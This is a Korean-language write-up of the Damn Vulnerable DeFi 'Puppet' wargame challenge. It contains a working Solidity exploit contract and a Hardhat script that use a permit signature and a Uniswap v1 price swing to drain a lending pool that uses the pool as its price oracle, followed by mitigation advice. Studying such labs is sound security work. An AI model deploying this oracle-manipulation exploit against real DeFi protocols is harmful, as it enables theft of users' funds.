Damn Vulnerable DeFi-Puppet

problem link

DeFi 취약점과 공격 방법을 익히기 위한 워게임 문제를 풀고 풀이를 정리했다. v3.0.0 문제를 대상으로 했다.

Summary

유니스왑 풀을 교란하여 유니스왑 풀을 오라클로 이용하는 랜딩 컨트랙트에서 저렴한 가격으로 토큰을 빼내었다.

Keyword

oracle, uniswap v1, swap pool, theft

Vulnerability

There’s a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity. There’s a DVT market opened in an old Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity. Pass the challenge by taking all tokens from the lending pool. You start with 25 ETH and 1000 DVTs in balance.

유니스왑 DVT-ETH 풀과 PuppetPool 이라는 대출 컨트랙트가 있다. PuppetPool 에서는 DVT-ETH 풀 가격을 오라클삼아 ETH를 받고 DVT를 빌려준다. 문제의 목표는 PuppetPool의 DVT를 전부 빼내는 것이다.

PuppetPool에서 ETH와 DVT 교환 비율은 다음과 같이 계산한다. 다음은 amount만큼을 빌리기 위해 필요한 ETH의 양을 계산하는 함수이다.

    function calculateDepositRequired(uint256 amount) public view returns (uint256) {
        return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18;
    }
 
    
    function _computeOraclePrice() private view returns (uint256) {
        // calculates the price of the token in wei according to Uniswap pair
        return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
    }

유니스왑 풀에 예치된 ETH / DVT 비율에 DEPOSIT_FACTOR인 2를 곱한다. 즉, 유니스왑 풀에 1:1 로 예치되어 있을 때, PuppetPool 에서 1 DVT를 빌리기 위해서는 2 ETH를 지불해야 한다.

// Ensure correct setup of pool. For example, to borrow 1 need to deposit 2
// @audit-info 초기에는 2 ETH 당 1 DVT 빌릴 수 있음
expect(
    await lendingPool.calculateDepositRequired(10n ** 18n)
).to.be.eq(2n * 10n ** 18n);

배포 스크립트를 보면 유니스왑 풀은 1:1로 설정되어 있고, PuppetPool은 ETH:DVT = 1:2 비율로 빌려주도록 설정된다. 그리고 PuppetPool 에는 100000 DVT가 예치되어 있다. 이 상태에서 PuppetPool에서 100000 DVT를 빌리려면 200000 ETH가 필요하다. 공격자에게는 초기 자본으로 1000 DVT와 25 ETH가 주어지므로 이를 전부 꺼내는 것은 불가하다. 다른 방법을 찾아야 한다.

유니스왑 풀 비율을 조작하면 어떨까? 유니스왑 풀에서 DVT를 ETH로 스왑해가서 DVT의 가격을 낮추면 PuppetPool 교환 비에도 변동을 줄 수 있다. 유니스왑 풀에는 10 ETH와 10 DVT가 있으므로, 공격자의 예산으로 충분히 조작을 가할 수 있다.

문제에서는 이를 1 트랜잭션에 처리하기를 요구하므로, 공격 컨트랙트를 작성하여 문제를 해결해야 한다. 그런데, 1 트랜잭션만으로는 공격자가 가진 DVT를 활용할 수 없고 ETH를 스왑해서 만으로는 100000 DVT를 전부 꺼낼 수 없었다. 다시 살펴보니 DVT의 경우 solmate의 ERC20 라이브러리를 이용하며, 이는 EIP-2612 를 따른다. 이는 간단히 설명하자면 서명을 통해 approve를 하는 기능이다. 유저가 직접 컨트랙트콜을 하지 않고 서명만으로 approve를 할 수 있다.

다음은 solmate 의 ERC20 permit 함수이다.

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
 
        // Unchecked because the only math done is incrementing
        // the owner's nonce which cannot realistically overflow.
        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );
 
            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
 
            allowance[recoveredAddress][spender] = value;
        }
 
        emit Approval(owner, spender, value);
    }

다음은 permit 함수를 이용하여 공격자의 DVT 토큰을 사용하며, DVT를 이용해 유니스왑 풀을 교란시키고, 이를 통해 PuppetPool의 오라클을 교란시켜 PuppetPool의 DVT 토큰을 싼 가격에 전부 빼내는 PoC이다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
 
import "./PuppetPool.sol";
import "../DamnValuableToken.sol";
 
interface UniswapPair {
    function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256);
    function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256);
}
 
contract PuppetPoolPoC {
    constructor(PuppetPool _puppet, UniswapPair _pair, DamnValuableToken _token, bytes memory _sig) payable {
        (bytes32 r, bytes32 s, uint8 v) = _splitSignature(_sig);
 
        // 공격자 토큰 approve
        _token.permit(
            msg.sender, // owner
            address(this), // spender
            type(uint256).max, // value
            type(uint256).max, // deadline
            v,
            r,
            s
        );
 
        // 공격자 토큰 가져옴
        _token.transferFrom(msg.sender, address(this), _token.balanceOf(msg.sender));
 
        // 스왑 풀 교란
        _token.approve(address(_pair), type(uint256).max);
        _pair.tokenToEthSwapInput(_token.balanceOf(address(this)), 1, block.timestamp + 100);
    
        // DVT 토큰 대여. 남은 ETH는 환급됨
        _puppet.borrow{value: address(this).balance}(100000 ether, address(this));
 
        // 공격자에게 DVT 토큰 전송
        _token.transfer(msg.sender, 100000 ether);
 
        // 풀 정상화 및 공격자에게 토큰 옮기기
        _pair.ethToTokenSwapOutput{value: address(this).balance}(1000 ether, block.timestamp + 100);
 
        _token.transfer(msg.sender, _token.balanceOf(address(this)));
        payable(msg.sender).transfer(address(this).balance);
    }
 
    /**
    * @dev 서명을 각 필드로 쪼갬
    * @param _sig 서명
    * @return r
    * @return s
    * @return v
    */
    function _splitSignature(bytes memory _sig) internal pure returns (bytes32 r, bytes32 s, uint8 v) {
        require(_sig.length == 65, "invalid signature length");
 
        assembly {
            // first 32 bytes, after the length prefix
            r := mload(add(_sig, 32))
            // second 32 bytes
            s := mload(add(_sig, 64))
            // final byte (first byte of the next 32 bytes)
            v := byte(0, mload(add(_sig, 96)))
        }
 
        // implicitly return (r, s, v)
    }
}

다음은 permit을 실행하기 위해 먼저 배포될 컨트랙트 주소를 알아내고, 서명을 하며, PoC 컨트랙트를 배포하는 스크립트이다. permit용 서명의 경우 편하게 서명할 수 있는 라이브러리를 이용하는 것 같지만 직접 한번 짜보고 싶어서 짜봤다.

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
 
        // 배포될 주소 미리 얻음
        let pocAddress = await ethers.utils.getContractAddress({
            from: player.address,
            nonce: 0,
        });
 
        // permit을 위한 서명
        // signTypedData 로 서명해야 한다. 
        const message = {
            owner: player.address,
            spender: pocAddress,
            value: ethers.constants.MaxUint256.toString(),
            nonce: (await token.nonces(player.address)).toString(),
            deadline: ethers.constants.MaxUint256.toString(),
        };
 
        const domain = {
            name: await token.name(),
            version: "1",
            chainId: (await ethers.provider.getNetwork()).chainId,
            verifyingContract: token.address
        };
 
        const typedData = {
            types: {
                Permit: [
                    { name: "owner", type: "address" },
                    { name: "spender", type: "address" },
                    { name: "value", type: "uint256" },
                    { name: "nonce", type: "uint256" },
                    { name: "deadline", type: "uint256" },
                ],
            },
            primaryType: "Permit",
            domain,
            message,
        };
 
        const rawSignature = await (player.signTypedData
          ? player.signTypedData(typedData.domain, typedData.types, typedData.message)
          : player._signTypedData(typedData.domain, typedData.types, typedData.message));
        
        const puppetFactory = await ethers.getContractFactory('PuppetPoolPoC', player);
        await puppetFactory.deploy(lendingPool.address, uniswapExchange.address, token.address, rawSignature, {
            value: 24n * 10n ** 18n
        });
    });

Impact

오라클을 조작하여 적은 금액으로 다량의 토큰을 빌려갈 수 있다. 랜딩풀의 토큰을 탈취당한다.

Mitigation

스왑 풀은 다량의 토큰을 이용하면 가격을 변경할 수 있다. 서드파티 오라클을 이용할 때 각별한 주의가 필요하다. 가격 차이가 너무 커지면 기능을 정지하거나, 과거 기록의 평균을 이용하여 갑작스러운 변화에 덜 민감하게 반응하도록 하거나, 오라클을 여러 개 사용하는 등의 대비가 필요하다.

Memo

EIP-2612는 개발시 한 번도 사용해본 적이 없어서 처음 알게 되었다. 이를 따르는 ERC20은 permit 이라는 인터페이스를 두고, 유저가 컨트랙트콜 하지 않아도 서명을 통해 approve 를 요청할 수 있다. 2022년 11월에 final로 채택된 것 같다.

solmate 라이브러리의 경우 ERC20 컨트랙트를 임포트할 시 이를 기본적으로 지원하고, openzeppelin의 경우 최근 업데이트중이다.

또한 이번에 EIP-712: Typed structured data hashing and signing 도 처음 사용하였다. 이는 서명할 때, 유저가 어떤 데이터에 서명하는지를 읽기 쉽도록 필드를 구분해 보여주며 서명하는 기능이다. 이런 기능이 있다는 것은 알고 있었지만 딱히 사용하지는 않았는데, 추후 개발에도 이용할 수 있겠다.


tags: writeup, blockchain, solidity, smart contract, defi, dex, crypto theft, oracle manipulation, price oracle, uniswap integration, uniswap-v1 integration, erc2612, erc712